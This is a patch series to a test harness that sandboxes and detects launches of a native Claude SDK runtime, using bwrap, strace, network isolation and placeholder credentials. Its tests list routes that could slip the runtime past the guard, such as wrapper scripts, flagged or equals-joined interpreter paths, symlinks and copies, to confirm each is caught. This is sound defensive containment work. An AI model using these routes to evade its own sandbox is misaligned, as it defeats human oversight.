Record function resolveExecutable(command: string, options: SpawnContext): string { const cwd = resolve(options.cwd ?? process.cwd()); const path = options.env?.PATH ?? process.env.PATH; - return realpathSync(command.includes("/") ? resolve(cwd, command) : Bun.which(command, { cwd, PATH: path }) ?? resolve(cwd, command)); -} - -// Only the program and a concrete JS interpreter target are executable -// candidates. Worker status descriptors and all other argv values are data. -function executableCandidates(command: string, args: readonly unknown[], options: SpawnContext): string[] { - const candidates = [command]; - let executable: string; - try { executable = resolveExecutable(command, options); } catch { return candidates; } - if (/^(?:node|nodejs|bun)$/.test(basename(executable))) { - let at = args[0] === "run" && basename(executable) === "bun" ? 1 : 0; - // These switches consume values, not the script target. Inline evaluation - // and shell programs have no explicit file target to classify here. - while (typeof args[at] === "string" && (args[at] as string).startsWith("-")) { - const flag = args[at++] as string; - if (["-e", "--eval", "-p", "--print", "-c", "--check"].includes(flag)) return candidates; - if (flag === "--") break; - if (["--preload", "--import", "--require", "-r", "--loader"].includes(flag)) at++; - } - const target = args[at]; - if (typeof target === "string" && !target.startsWith("-")) candidates.push(target); - } - return candidates; + const candidate = command.includes("/") ? resolve(cwd, command) : Bun.which(command, { cwd, PATH: path }) ?? resolve(cwd, command); + // Inspect the accessible path first: realpath of an anonymous /proc fd can + // return pipe:[N] or socket:[N], which is not itself a filesystem path. + if (!statSync(candidate).isFile()) throw new Error("not a regular executable candidate"); + return realpathSync(candidate); } export function isNativeClaude(command: string, args: readonly unknown[] = [], options: SpawnContext = {}): boolean { if (discoveryFailed) refuse("installed SDK runtime discovery failed"); - for (const value of executableCandidates(command, args, options)) { + for (const value of [command, ...args]) { if (typeof value !== "string" || value.startsWith("-")) continue; let path: string; try { path = resolveExecutable(value, options); } catch { continue; } @@ -389,7 +371,7 @@ export function startNativeTestRelay(upstream: string | undefined) { } function expectedNativeExec(command: string, args: readonly string[], options: SpawnContext): string[] { - const native = executableCandidates(command, args, options).filter(value => isNativeClaude(value, [], options)); + const native = [command, ...args].filter(value => isNativeClaude(value, [], options)); return [...new Set(native.flatMap(value => [resolve(options.cwd ?? process.cwd(), value), resolveExecutable(value, options)]))]; } diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 661b3c6188..bf424d80f1 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -173,8 +173,8 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { // Fixture helpers often replace env completely, including provider-history // probes. Carry test Git policy through those children as well as shells. let boundary: ReturnType | undefined; - // Classification considers argv[0] and explicit interpreter targets only; - // status-pipe descriptors in the remaining arguments are data. + // Runtime provenance also covers wrapper/interpreter arguments; + // non-file status descriptors are excluded before resolving identity. if (isNativeClaude(executable, cmd.slice(1), options)) { if (key === "spawnSync") refuseNativeClaude(executable, cmd.slice(1), options); boundary = nativeClaudeBoundary(executable, cmd.slice(1), options); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 664c5f3746..5c271098ef 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -33,11 +33,30 @@ test("a harmless fixture named claude runs without native admission", async () = } finally { rmSync(scratch, { recursive: true, force: true }); } }); -test("native identity classifies explicit interpreter targets but not argument data", () => { +test("native identity finds wrapped and flagged interpreter targets", () => { expect(isNativeClaude(process.execPath, [runtime!])).toBe(true); expect(isNativeClaude(process.execPath, ["--preload", "fixture.ts", runtime!])).toBe(true); - expect(isNativeClaude("/usr/bin/true", [runtime!])).toBe(false); - expect(isNativeClaude(process.execPath, ["-e", runtime!])).toBe(false); + expect(isNativeClaude("/usr/bin/true", [runtime!])).toBe(true); + expect(isNativeClaude(process.execPath, ["-e", runtime!])).toBe(true); + for (const flag of ["--conditions", "--env-file", "--experimental-loader", "--cwd", "-c"]) { + expect(isNativeClaude(process.execPath, [flag, "odysseus-fixture", runtime!])).toBe(true); + } + expect(isNativeClaude("/usr/bin/true", ["--conditions", "odysseus-fixture", runtime!])).toBe(true); +}); + +for (const worker of [false,true]) test(`wrapper-launched installed runtime refuses before ${worker ? "worker" : "direct"} bootstrap`, async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-wrapper-refusal-")); + try { + const wrapper=join(scratch,"exec-wrapper"), marker=join(scratch,"launched"); + // This fixture never execs its argument, even under a broken guard. + writeFileSync(wrapper, `#!/bin/sh\nprintf launched > '${marker}'\n`);chmodSync(wrapper,0o700); + const result=await probe(`${imports} + const wrapper=${JSON.stringify(wrapper)},runtime=${JSON.stringify(runtime)}; + Bun.spawn([wrapper,runtime],${worker ? `{env:{BRAIN_WORKER_LAUNCH:JSON.stringify({command:[wrapper,runtime],argv:["bwrap","--",wrapper,runtime]})}}` : `{}`});`,scratch); + expect(result.code,result.output).not.toBe(0); + expect(existsSync(marker)).toBe(false); + expect(result.output).toContain('"success":false,"nativeLaunched":false'); + } finally {rmSync(scratch,{recursive:true,force:true});} }); test("status-pipe worker launches treat descriptor arguments as data", async () => { @@ -190,6 +209,7 @@ test("cleanup cannot claim native exec from an empty or launcher-only trace", as test("wrapper exec and auth inspection cannot fabricate native launch or injected credentials", async () => { const scratch = mkdtempSync(join(tmpdir(), "odysseus-wrapper-audit-")); try { + for (const observed of ["/usr/bin/unshare",runtime!]) { const result = await probe(`${imports} import {writeFileSync} from "node:fs"; const spawnSync=Bun.spawnSync,which=Bun.which; @@ -203,11 +223,17 @@ test("wrapper exec and auth inspection cannot fabricate native launch or injecte if(broker<0||!boundary.argv.includes("--device")||!boundary.argv.includes("--inode")||boundary.argv[broker+10]!=="/tmp/native-relay/relay.sock")throw Error("kernel lifetime socket policy was omitted"); const setup=boundary.argv.slice(0,boundary.argv.lastIndexOf("--")); for(let i=0;i Date: Sat, 21 Nov 2026 05:26:35 +0000 Subject: [PATCH 048/187] test: omit unused persistent outputs from measurement fixtures --- scripts/measurement-worker-fixture.ts | 14 +++++------- tests/measurement-worker-fixture.test.ts | 29 ++++++++++++++++++++++++ tests/native-offline-boundary.test.ts | 22 ++++++++++++++++++ 3 files changed, 57 insertions(+), 8 deletions(-) create mode 100644 tests/measurement-worker-fixture.test.ts diff --git a/scripts/measurement-worker-fixture.ts b/scripts/measurement-worker-fixture.ts index 99bdb12cee..78c331aadf 100644 --- a/scripts/measurement-worker-fixture.ts +++ b/scripts/measurement-worker-fixture.ts @@ -1,19 +1,17 @@ /** Explicit copied execution inputs for offline, non-storage runtime measurements. */ -import { spyOn } from "bun:test"; -import * as workerOutput from "../packages/ui-sdk/src/server/worker-native-output.js"; import { prepareWorkerSandbox } from "../packages/ui-sdk/src/server/worker-launcher.js"; -import { createFixtureMaintenanceHost, createFixtureWorkerStartupView, prepareFixtureNativeWorkerOutput } from "../packages/ui-sdk/tests/helpers/worker-startup-view-fixture.js"; +import { createFixtureMaintenanceHost, createFixtureWorkerStartupView } from "../packages/ui-sdk/tests/helpers/worker-startup-view-fixture.js"; /** Keep the real launcher, tool hooks and inference transport; only storage acquisition is a fixture. */ export function createMeasurementWorkerFixture(brain: string, home?: string) { const maintenance = createFixtureMaintenanceHost(brain); - const output = spyOn(workerOutput, "prepareNativeWorkerOutput").mockImplementation(prepareFixtureNativeWorkerOutput); try { - const workerSandbox = prepareWorkerSandbox(brain, { home, maintenance }); - // Host setup creates writable-area mount points before the immutable input is acquired. + // Measurements write only ephemeral WORKER_SCRATCH. No persistent areas + // need an output keeper or its namespace-only temporary mount aliases. + const workerSandbox = prepareWorkerSandbox(brain, { home, maintenance, areas: [] }); const workerStartupView = createFixtureWorkerStartupView(brain); return { maintenance, request: { workerSandbox, workerStartupView }, cleanup() { - try { workerStartupView.cleanup(); } finally { output.mockRestore(); maintenance.cleanup(); } + try { workerStartupView.cleanup(); } finally { maintenance.cleanup(); } } }; - } catch (error) { output.mockRestore(); maintenance.cleanup(); throw error; } + } catch (error) { maintenance.cleanup(); throw error; } } diff --git a/tests/measurement-worker-fixture.test.ts b/tests/measurement-worker-fixture.test.ts new file mode 100644 index 0000000000..3b34002a96 --- /dev/null +++ b/tests/measurement-worker-fixture.test.ts @@ -0,0 +1,29 @@ +import { expect, test } from "bun:test"; +import { existsSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { join } from "node:path"; +import { tmpdir } from "node:os"; +import { createMeasurementWorkerFixture } from "../scripts/measurement-worker-fixture"; +import { workerCommand } from "../packages/ui-sdk/src/server/worker-launcher"; + +test("non-storage measurements bind existing copied inputs without keeper namespace outputs", () => { + const root=mkdtempSync(join(tmpdir(),"odysseus-measurement-input-")),brain=join(root,"brain"),home=join(root,"home"); + mkdirSync(brain);mkdirSync(home);writeFileSync(join(brain,"voyage.md"),"Odysseus charts Ithaca on 2026-07-12.\n"); + let fixture: ReturnType | undefined; + try { + fixture=createMeasurementWorkerFixture(brain,home); + expect(fixture.request.workerSandbox.areas).toEqual([]); + expect(existsSync(fixture.request.workerStartupView.root)).toBe(true); + // Pure launcher planning: no worker or installed SDK runtime executes. + const argv=workerCommand({brainPath:brain,command:["/usr/bin/true"],env:{HOME:home}, + sandbox:fixture.request.workerSandbox,startupView:fixture.request.workerStartupView}); + expect(argv).not.toContain("--target"); + let temporarySources=0; + for(let i=0;i{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-keeper-refusal-")),keeper=mkdtempSync(join(tmpdir(),"odysseus-output-keeper-")); + try{ + const missing=join(keeper,"merged/.brain/scratch"); + const result=await probe(`${imports} + import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync} from "node:fs"; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); + const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}},argv:["bwrap","--bind",${JSON.stringify(missing)},"/tmp/odysseus-worker-area","--",${JSON.stringify(runtime)}]})}); + const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; + writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();`,scratch); + expect(result.code).not.toBe(0); + expect(result.output).toContain("worker bind source is unavailable"); + expect(result.output).toContain('"sourceKind":"unregistered-source"'); + expect(result.output).toContain('"targetKind":"fixture-temporary"'); + expect(result.output).toContain('"metadataError":"ENOENT"'); + expect(result.output).toContain('"nativeLaunched":false'); + }finally{rmSync(scratch,{recursive:true,force:true});rmSync(keeper,{recursive:true,force:true});} +}); + test("worker outside-HOME regular files require explicit fixture snapshots",async()=>{ const scratch=mkdtempSync(join(tmpdir(),"odysseus-worker-files-")),outside=mkdtempSync(join(tmpdir(),"odysseus-outside-file-")); const sentinel=join(outside,"credential-like"),home=join(scratch,"home");mkdirSync(home);writeFileSync(sentinel,"odysseus-synthetic-sentinel"); From 01c44cb251e607fe8771b07a283ec0ede5a5140c Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 05:40:34 +0000 Subject: [PATCH 049/187] test: share private fixture directory metadata with the exact guard UID --- .../tests/fixtures/ordinary-identity-root.ts | 6 ++++ .../tests/fixtures/ordinary-identity-ws.ts | 27 +++++++++++++++- .../private-fixture-directory-access.ts | 18 +++++++++++ .../private-fixture-directory-access.test.ts | 31 +++++++++++++++++++ 4 files changed, 81 insertions(+), 1 deletion(-) create mode 100644 packages/ui-sdk/tests/fixtures/private-fixture-directory-access.ts create mode 100644 tests/private-fixture-directory-access.test.ts diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts index 6c35736a95..978308b0a2 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-root.ts @@ -1,3 +1,4 @@ +import { PRIVATE_FIXTURE_DIRECTORY_ACCESS } from "./private-fixture-directory-access.js"; import { defaultIdentityPhase } from "./default-identity-phases.js"; import { applicationQualificationScenario } from "./application-qualification.js"; import { ordinaryIdentityPhases, IDENTITY_PHASE_TIMEOUT_MS, IDENTITY_CLEANUP_TIMEOUT_MS } from "./ordinary-identity-phases.js"; @@ -194,6 +195,11 @@ if (process.argv[2] === "--index-child") { sharedGit, privateGitInputs, indexControls: process.argv[2] === "--index-controls" }); let aggregateOutput = "", aggregateErrors = ""; for (const phase of phases) { + // Private-input controls finish before these application phases. The + // guard may inspect directory metadata; private files stay worker-only. + if (phase && ["fresh", "fresh-app", "warm", "strict"].includes(phase)) { + console.log(command(["/usr/bin/python3", "-I", "-S", "-c", PRIVATE_FIXTURE_DIRECTORY_ACCESS, brain, "21002", "21001"])); + } const started = performance.now(); const child = Bun.spawn(["/usr/bin/setpriv", "--reuid=21001", "--regid=21001", "--groups=21003", process.execPath, "--preload", "/repo/scripts/test-network-child-preload.ts", import.meta.filename, process.argv[2] === "--index-controls" ? "--index-child" : "--child", ...(sharedGit ? ["--shared-git"] : []), ...(omitProbeStatePlacement ? ["--omit-probe-state-placement"] : []), ...(privateGitInputs ? ["--private-git-inputs"] : []), ...(bootPruneCapture ? ["--boot-prune-capture"] : []), ...(applicationScenario === "db-repeat" && phase === "warm" ? ["--db-repeat-index"] : []), ...(phase ? [sharedGit ? `--shared-phase=${phase}` : `--default-phase=${phase}`] : [])], { diff --git a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts index b39ce77573..99845b0538 100644 --- a/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts +++ b/packages/ui-sdk/tests/fixtures/ordinary-identity-ws.ts @@ -5,7 +5,7 @@ import { installDbRepeatObservation, repeatWarmIndex } from "./db-repeat-observa import { installBootPruneCapture } from "./boot-prune-capture.js"; /** Real managed-server admission and native SDK turn; explicit fictional API profile. */ import { expect } from "bun:test"; -import { lstatSync, mkdirSync, statSync, readdirSync } from "node:fs"; +import { lstatSync, mkdirSync, statSync, readdirSync, readFileSync, existsSync } from "node:fs"; import { dirname, join } from "node:path"; import { createApp } from "../../../ui-server/src/app.js"; import { resolveServerConfig } from "../../../ui-server/src/config/env.js"; @@ -15,6 +15,7 @@ import { createPrincipal } from "../../../ui-server/src/db/principals.js"; import { createClaudeBackend } from "../../../ui-backend-claude/src/backend.js"; import { nativeModelReply } from "../../../ui-backend-claude/tests/helpers/native-model-reply.js"; import { serializeSigned } from "hono/utils/cookie"; +import { bundledClaudeBinary } from "../../../core/src/providers/agents/claude-binary.js"; import { nativeScriptedService, nativeScriptedQuery } from "../../../../scripts/test-native-guard.ts"; const sharedGit = new URL(import.meta.url).searchParams.has("shared-git"); @@ -31,6 +32,30 @@ stage("module-loaded"); const brain = "/brain-fixture/brain", root = profile === "strict" ? "/identity-server-private/server-ws-strict" : "/identity-server-private/server-ws"; const home = join(root, "home"), config = join(home, ".claude"), data = root; mkdirSync(data, { mode: 0o700, recursive: true }); mkdirSync(config, { recursive: true, mode: 0o700 }); +// Actual separate-UID fixture: directory metadata is shared, file bytes are not. +const privateRoot=join(brain,"private"); +if (existsSync(privateRoot)) { + expect(process.getuid?.(),"PRIVATE_FIXTURE_GUARD_UID").toBe(21001); + expect(lstatSync(privateRoot).uid,"PRIVATE_FIXTURE_OWNER_UID").toBe(21002); + expect(lstatSync(privateRoot).mode & 0o007,"PRIVATE_FIXTURE_NO_WORLD_ACCESS").toBe(0); + expect(readdirSync(privateRoot),"PRIVATE_FIXTURE_PROVENANCE_TRAVERSABLE").toContain(".gitattributes"); + expect(()=>readFileSync(join(privateRoot,".gitattributes")),"PRIVATE_FIXTURE_CONTENTS_STAY_WORKER_ONLY").toThrow(); + const runtime=bundledClaudeBinary();if(!runtime)throw Error("installed SDK identity unavailable"); + // Plan only: no native process launches. The registered root is exercised by + // the real turn below; the same accessible, unregistered root must refuse. + const refused=Bun.spawnSync([process.execPath,"-e",` + import {nativeWorkerBoundary,nativeScriptedService} from "/repo/scripts/test-native-guard.ts"; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[${JSON.stringify(home)}]}); + nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:["/usr/bin/true",${JSON.stringify(runtime)}],brainPath:${JSON.stringify(home)},env:{HOME:${JSON.stringify(home)}},argv:["bwrap","--ro-bind",${JSON.stringify(privateRoot)},"/tmp/odysseus-private","--","/usr/bin/true",${JSON.stringify(runtime)}]})}); + `],{stdout:"pipe",stderr:"pipe"}); + expect(refused.exitCode,"PRIVATE_FIXTURE_UNREGISTERED_ROOT_REFUSES").not.toBe(0); + expect(refused.stderr.toString()).toContain("worker bind was not created or staged by the fixture"); + expect(refused.stderr.toString()).toContain('"nativeLaunched":false'); +} const requests: Array<{ model: string; history: number; apiCredential: boolean }> = []; // Native worker calls this loopback provider directly. The outer Docker network // namespace has no external route; no fetch implementation or native SDK is mocked. diff --git a/packages/ui-sdk/tests/fixtures/private-fixture-directory-access.ts b/packages/ui-sdk/tests/fixtures/private-fixture-directory-access.ts new file mode 100644 index 0000000000..d7d783b40e --- /dev/null +++ b/packages/ui-sdk/tests/fixtures/private-fixture-directory-access.ts @@ -0,0 +1,18 @@ +/** Fixture-only metadata access for the guard before the identity handoff. */ +export const PRIVATE_FIXTURE_DIRECTORY_ACCESS = `import json,os,stat,struct,sys +root,owner,reader=sys.argv[1:] +owner,reader=int(owner),int(reader) +assert owner!=reader +changed=[] +for directory,dirs,files in os.walk(root,followlinks=False): + info=os.lstat(directory) + if not stat.S_ISDIR(info.st_mode) or info.st_uid!=owner or info.st_mode & 0o077: + continue + # Preserve owner access; only this named reader gets metadata traversal. + # No file ACLs change, and neither the owning group nor others get access. + entries=[(1,(info.st_mode >> 6) & 7,0xffffffff),(2,5,reader),(4,0,0xffffffff),(16,5,0xffffffff),(32,0,0xffffffff)] + acl=struct.pack(' { + const root=mkdtempSync(join(tmpdir(),"odysseus-private-fixture-")),privateRoot=join(root,"private"),file=join(privateRoot,"voyage.md"); + mkdirSync(privateRoot,{mode:0o700});writeFileSync(file,"Odysseus charts Ithaca.\n",{mode:0o600}); + const outside=join(root,"outside");mkdirSync(outside,{mode:0o700});mkdirSync(join(outside,"nested"),{mode:0o700});symlinkSync(outside,join(privateRoot,"alias")); + const owner=process.getuid!(),reader=owner===21001?21002:21001; + try { + const result=Bun.spawnSync(["/usr/bin/python3","-I","-S","-c",PRIVATE_FIXTURE_DIRECTORY_ACCESS,privateRoot,String(owner),String(reader)],{stdout:"pipe",stderr:"pipe"}); + expect(result.exitCode,result.stderr.toString()).toBe(0); + const inspect=Bun.spawnSync(["/usr/bin/python3","-I","-S","-c",`import json,os,struct,sys +try: + b=os.getxattr(sys.argv[1],'system.posix_acl_access') + rows=[list(struct.unpack(' Date: Sat, 21 Nov 2026 05:59:44 +0000 Subject: [PATCH 050/187] test: admit equals-joined runtime paths and preserve guard mount visibility --- scripts/test-native-guard.ts | 19 +++++++--- tests/native-offline-boundary.test.ts | 50 +++++++++++++++++++++++++-- 2 files changed, 61 insertions(+), 8 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index a84ff80b95..9123a14cd5 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -115,10 +115,15 @@ function resolveExecutable(command: string, options: SpawnContext): string { return realpathSync(candidate); } +/** Every argv path remains a candidate, including the value after the first '='. */ +function nativeExecutableCandidates(command: string, args: readonly unknown[]): string[] { + return [command, ...args.flatMap(value => typeof value !== "string" ? [] : + !value.startsWith("-") ? [value] : value.includes("=") ? [value.slice(value.indexOf("=") + 1)] : [])]; +} + export function isNativeClaude(command: string, args: readonly unknown[] = [], options: SpawnContext = {}): boolean { if (discoveryFailed) refuse("installed SDK runtime discovery failed"); - for (const value of [command, ...args]) { - if (typeof value !== "string" || value.startsWith("-")) continue; + for (const value of nativeExecutableCandidates(command, args)) { let path: string; try { path = resolveExecutable(value, options); } catch { continue; } if (installedRuntimes.some(runtime => runtime.path === path)) return true; @@ -371,7 +376,7 @@ export function startNativeTestRelay(upstream: string | undefined) { } function expectedNativeExec(command: string, args: readonly string[], options: SpawnContext): string[] { - const native = [command, ...args].filter(value => isNativeClaude(value, [], options)); + const native = nativeExecutableCandidates(command, args).filter(value => isNativeClaude(value, [], options)); return [...new Set(native.flatMap(value => [resolve(options.cwd ?? process.cwd(), value), resolveExecutable(value, options)]))]; } @@ -849,14 +854,18 @@ export function nativeWorkerBoundary(env: Record): { else if (workerArgv[i] === "--ro-bind" && ["/etc/alternatives", "/etc/resolv.conf", "/etc/ssl/certs"].includes(workerArgv[i + 2]!)) workerArgv.splice(i--, 3); else if (workerArgv[i] === "--setenv" && !WORKER_RUNTIME_ENV.has(workerArgv[i + 1]!)) workerArgv.splice(i--, 3); } - workerArgv.splice(bwrap + 1, 0, "--clearenv", "--unshare-net", "--unshare-pid", ...systemMounts(), ...testRuntimeMounts(), ...tools.mounts, "--ro-bind", process.execPath, process.execPath, "--ro-bind", compileSocketPolicy(), compileSocketPolicy()); + workerArgv.splice(bwrap + 1, 0, "--clearenv", "--unshare-net", "--unshare-pid"); const pinned = { ANTHROPIC_BASE_URL: "http://localhost", ANTHROPIC_UNIX_SOCKET: socket && ownedOrigin ? socket : "/tmp/native-relay/relay.sock", PATH: tools.path, CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1", DISABLE_AUTOUPDATER: "1", ...(["0", "1"].includes(launch.env?.USE_BUILTIN_RIPGREP ?? "") ? { USE_BUILTIN_RIPGREP: launch.env!.USE_BUILTIN_RIPGREP! } : {}), ANTHROPIC_API_KEY: "", ANTHROPIC_AUTH_TOKEN: "", CLAUDE_CODE_OAUTH_TOKEN: "", ...(ownedOrigin ? relayCredentialPlaceholders(launch.env ?? {}) : syntheticCredentials(launch.env ?? {})) }; const separator = workerArgv.indexOf("--", bwrap); - workerArgv.splice(separator, 0, "--ro-bind", bridge.directory, "/tmp/native-relay", + // bwrap applies mounts in order. Install every guard-owned input after + // the launcher's tmpfs/masks, so no later covering mount hides it. + workerArgv.splice(separator, 0, ...systemMounts(), ...testRuntimeMounts(), ...tools.mounts, + "--ro-bind", process.execPath, process.execPath, "--ro-bind", compileSocketPolicy(), compileSocketPolicy(), + "--ro-bind", bridge.directory, "/tmp/native-relay", "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group", ...Object.entries(pinned).flatMap(([key, value]) => ["--setenv", key, value])); try { stageWorkerFixtureBinds(workerArgv,bwrap,route,bridge.directory); } diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 82d0107474..e295091828 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -22,6 +22,21 @@ const imports = `import {installNetworkGuard} from ${JSON.stringify(join(ROOT, " delete process.env.GITHUB_ACTIONS; delete process.env.RUNNER_ENVIRONMENT; installNetworkGuard(); const registerScriptedService=(origin)=>registerService(origin,{fixtureRoots:[process.env.HOME]});`; +// Check one bwrap scope at a time: the nested native view deliberately hides +// the trace directory, while its outer tracer must retain that mount. +const guardMountOrderCheck = `function assertGuardMountOrder(mounts) { + const operations=[]; + for(let i=0;iop.bind))for(const later of operations) { + if(later.at>bind.at && (later.target==="/" || bind.target===later.target || bind.target.startsWith(later.target+"/")))throw Error("GUARD_BIND_HIDDEN_BY_LATER_MOUNT"); + } +}`; + test("a harmless fixture named claude runs without native admission", async () => { const scratch = mkdtempSync(join(tmpdir(), "odysseus-fixture-runtime-")); try { @@ -42,6 +57,9 @@ test("native identity finds wrapped and flagged interpreter targets", () => { expect(isNativeClaude(process.execPath, [flag, "odysseus-fixture", runtime!])).toBe(true); } expect(isNativeClaude("/usr/bin/true", ["--conditions", "odysseus-fixture", runtime!])).toBe(true); + for (const flag of ["--require", "--preload"]) { + expect(isNativeClaude(process.execPath, [flag+"="+runtime])).toBe(true); + } }); for (const worker of [false,true]) test(`wrapper-launched installed runtime refuses before ${worker ? "worker" : "direct"} bootstrap`, async () => { @@ -109,6 +127,10 @@ test("runtime provenance follows a symlink and detects an arbitrarily named byte try { const linked = join(scratch, "odysseus-link"), copied = join(scratch, "odysseus-copy"); symlinkSync(runtime!, linked); copyFileSync(runtime!, copied); + const equals = join(scratch,"odysseus=runtime");symlinkSync(runtime!,equals); + expect(isNativeClaude(process.execPath,["--require="+equals])).toBe(true); + symlinkSync(runtime!,join(scratch,"--odysseus-runtime")); + expect(isNativeClaude("--odysseus-runtime",[],{env:{PATH:scratch},cwd:scratch})).toBe(true); for (const path of [linked, copied]) { expect(isNativeClaude(path)).toBe(true); // Refusal planning is safe even under a broken guard: it never execs. @@ -209,14 +231,14 @@ test("cleanup cannot claim native exec from an empty or launcher-only trace", as test("wrapper exec and auth inspection cannot fabricate native launch or injected credentials", async () => { const scratch = mkdtempSync(join(tmpdir(), "odysseus-wrapper-audit-")); try { - for (const observed of ["/usr/bin/unshare",runtime!]) { + for (const [observed,joined] of [["/usr/bin/unshare",false],[runtime!,false],[runtime!,true]] as const) { const result = await probe(`${imports} import {writeFileSync} from "node:fs"; const spawnSync=Bun.spawnSync,which=Bun.which; Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); - const boundary=nativeClaudeBoundary("/usr/bin/unshare",["--user",${JSON.stringify(runtime)},"auth","status","--json"], + const boundary=nativeClaudeBoundary("/usr/bin/unshare",["--user",${JSON.stringify(joined ? "--preload="+runtime : runtime)},"auth","status","--json"], {cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},ANTHROPIC_BASE_URL:"http://127.0.0.1:1"}}); if(boundary.argv[0]!=="/synthetic/strace")throw Error("audit executable was not resolved"); const broker=boundary.argv.findIndex((arg,i)=>arg.endsWith("/native-connect")&&boundary.argv[i+1]==="--head"); @@ -294,6 +316,25 @@ test("fixture PATH tools are mounted selectively without exposing sibling creden } finally { rmSync(scratch, { recursive: true, force: true }); rmSync(unrelated, { recursive: true, force: true }); } }); +test("guard worker binds follow every covering mount", async()=>{ + const scratch=mkdtempSync(join(tmpdir(),"odysseus-mount-order-")); + try { + const result=await probe(`${imports} + import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync} from "node:fs"; + ${guardMountOrderCheck} + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); + const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}},argv:["bwrap",...${JSON.stringify(["/tmp","/home","/etc",ROOT])}.flatMap(path=>["--tmpfs",path]),"--",${JSON.stringify(runtime)}]})}); + const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv,bwrap=argv.indexOf("--",argv.indexOf("-o"))+1,split=argv.indexOf("--",bwrap); + const mounts=argv.slice(bwrap+1,split);assertGuardMountOrder(mounts); + if(!mounts.some((arg,i)=>arg==="--ro-bind"&&mounts[i+1]?.endsWith("/native-connect"))||!mounts.includes("/tmp/native-relay"))throw Error("guard input missing from plan"); + plan.beforeLaunch();writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();`,scratch); + expect(result.code,result.output).toBe(0); + }finally{rmSync(scratch,{recursive:true,force:true});} +}); + test("separate-UID plans trace the broker payload outside its hidden native audit view", async () => { const scratch = mkdtempSync(join(tmpdir(), "odysseus-identity-plan-")); try { @@ -305,19 +346,22 @@ test("separate-UID plans trace the broker payload outside its hidden native audi import {spyOn} from "bun:test"; import * as launcher from ${JSON.stringify(join(ROOT, "packages/ui-sdk/src/server/worker-launcher.ts"))}; 